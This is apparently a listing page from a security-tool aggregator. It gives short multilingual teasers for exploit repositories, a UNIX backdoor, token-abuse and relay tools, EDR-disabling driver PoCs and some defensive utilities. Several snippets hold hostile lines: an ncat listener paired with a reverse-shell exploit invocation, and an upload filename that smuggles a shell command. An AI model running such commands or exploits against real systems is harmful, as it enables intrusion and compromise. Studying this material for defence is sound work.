LiveCTF-DEFCON30

LiveCTF 2022 Repository zur Ablage von Challenges, Infrastruktur-Notizen, Streaming-Konfiguration und anderen versionierten Informationen für das LiveCTF-Finale der DEF CON CTF. Im LiveCTF verwendete Challenges | Challenge-Name| Teilnehmer| Sieger ---|---|---|--- Achtelfinale: 1| syscall-me-maybe...

TokenMan

Suite per token di accesso e refresh. Token Man è uno strumento per supportare attività di post-exploitation utilizzando token di accesso e/o refresh AAD. Indice Utilizzo Comandi Fetch Search Swap Mappa degli ID client applicazione FOCI AZ OAuth Usage root@kitploit: usage: tokenman.py -h...

NegoExRelay

Negoexrelayx – Negoex-Relay-Werkzeug Toolkit zum Missbrauchen von Kerberos PKU2U und NegoEx. Erfordert impacket. Es wird empfohlen, impacket direkt von Git zu installieren, um die neueste Version zu erhalten. negoexrelayx.py Dieses Tool ermöglicht es Ihnen, NegoEx-Authentifizierung mit PKU2U an...

jdwp-shellifier

Script di sfruttamento per JDWP Cos'è? Questo script di sfruttamento è pensato per essere usato dai pentester contro un servizio JDWP attivo, al fine di ottenere l'esecuzione remota di codice Remote Code Execution. Come funziona? In modo abbastanza standard, lo script richiede solo un interprete...

CVE-2026-6666-XPC-Service-NSKeyedUnarchiver-Deserialization-Attack-macOS-iOS-simulation-

CVE-2026-6666 – Attacco di deserializzazione NSKeyedUnarchiver al servizio XPC simulazione macOS/iOS Codice del programma simulazione Python root@kitploit: !/usr/bin/env python3 vulnerablexpcservice.py - Simulated XPC service using unsafe plist deserialization import plistlib, subprocess,...

semgrep-rules

semgrep-rules "The attack surface is the vulnerability. Finding a bug there is just a detail." -- Mark Dowd "Some details are more important than others." -- Fedor G. Pikus A collection of my Semgrep rules to facilitate vulnerability research. Blog posts...

retryabledns

Retryable dns resolver Based on miekg/dns and freely inspired by bogdanovich/dnsresolver. Features Supports both system default DNS resolvers and user-provided ones Retries DNS requests in case of I/O errors, timeouts, or network failures Allows arbitrary query types Resolution with random...

doona

Doona - Network fuzzing tool .:: About ::. Doona is a fork of the Bruteforce Exploit Detector Tool BED. BED is a program which is designed to check daemons for potential buffer overflows, format string bugs etc. Doona is Australian for duvet. It adds a significant enough number of features/change...

tsh-sctp

Tiny SHell - An open-source UNIX backdoor root@kitploit: Before compiling Tiny SHell 1. First of all, you should setup your secret key, which is located in tsh.h; the key can be of any length use at least 12 characters for better security. 2. It is advised to change SERVERPORT, the port on which...

pysqli

PySQLi - Python SQL injection framework 1. Overview PySQLi is a python framework designed to exploit complex SQL injection vulnerabilities. It provides dedicated bricks that can be used to build advanced exploits or easily extended/improved to fit the case. 2. Why another SQLi framework ? Simple...

smbexec

root@kitploit: smbexec A rapid psexec style attack with samba tools Original Concept and Script by Brav0Hax & PureHate Ported to ruby and modified by Smilingraccoon and Zeknox Codename - Machiavellian Written because we got sick of Metasploit PSExec getting popped Special thanks to Carnal0wnage...

CVE-2019-17041

Rsyslog - was ist das? Rsyslog ist ein r aketenschnelles Sys tem zur Log -Verarbeitung. Es bietet hohe Leistung, großartige Sicherheitsfunktionen und ein modulares Design. Während es als regulärer syslogd begann, hat sich rsyslog zu einer Art Schweizer Taschenmesser der Protokollierung entwickelt...

POC-CVE-2026-19681

CVE-2026-19681 — Befehlsinjektion in der Verarbeitung von Datei-Uploads authentifiziert Status: BESTÄTIGT in einer 6.7.2-14.el9-Lab-Umgebung 2026-08-20. Über POST /rest/file/upload wurde ein präparierter Dateiname p;sleep$IFS20;-EvvfJk eingebracht das Kontext-Präfix trägt die Metazeichen;...

cve-2024-25600

Exploit Repository: CVE-2024-25600 🔥 Unauthenticated RCE Exploit for WordPress Bricks Builder Welcome to the official repository for the CVE-2024-25600 exploit targeting WordPress Bricks Builder version 1.9.6 and below. This exploit allows for the execution of arbitrary code remotely, posing a...

langflow-rce-exploit

Langflow RCE Exploit CVE-2025-3248 Exploit di Remote Code Execution per Langflow CVE-2025-3248 Caratteristiche Rilevamento automatico della vulnerabilità Modalità di exploit multiple: Shell interattiva Esecuzione di un singolo comando Connessione reverse shell Caricamento di file Interfaccia uten...

CVE-2018-14699

CVE-2018-14699 Unauthentifizierte Command Injection in der enableuser-Funktion von DroboAccess v2.1 Verwendung: Starten Sie zuerst einen Listener ncat -nvlp 1337 Führen Sie dann den Exploit aus Beispiel: exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='Host für die...

CVE-2024-7339

CVE-2024-7339: Уязвимость утечки информации в DVR-устройствах. Exploiter — инструмент для обнаружения и эксплуатации уязвимости CVE-2024-7339 утечка информации в DVR-устройствах. Затрагивает более 400 000+ устройств, которые раскрывают информацию, такую как модель продукта, версия ядра и т.д...

CVE-2022-21371

Badges Лицензия MIT Установка 1. Установите Python3 и pip Инструкции здесь Если вы не можете с этим разобраться, вам не стоит использовать этот инструмент Установка через pip root@kitploit: pip install CVE-2022-21371 Выполните следующую команду для проверки CVE-2022-21371 -h Настройка 2. Мы...

BYOVD

BYOVD is a collection of PoCs demonstrating how vulnerable drivers can be exploited to disable AV/EDR solutions. The collection includes both undocumented drivers and those with existing coverage in LOLDDrivers or Microsoft's recommended driver block rules. Since its initial discovery, the TfSysM...

CVE-2024-45058

CVE-2024-45058 إثبات المفهوم لـ CVE-2024-45058 ثغرة التحكم في الوصول المعطوب، مما يسمح لأي مستخدم لديه صلاحية العرض في قسم تكوين المستخدم بأن يصبح مسؤولًا عن طريق تغيير نوع المستخدم الخاص به. احصل على معرّف nivelusuario المطلوب وقم بتشغيل الأداة. الاستخدام root@kitploit: usage: CVE-2024-45058.py ...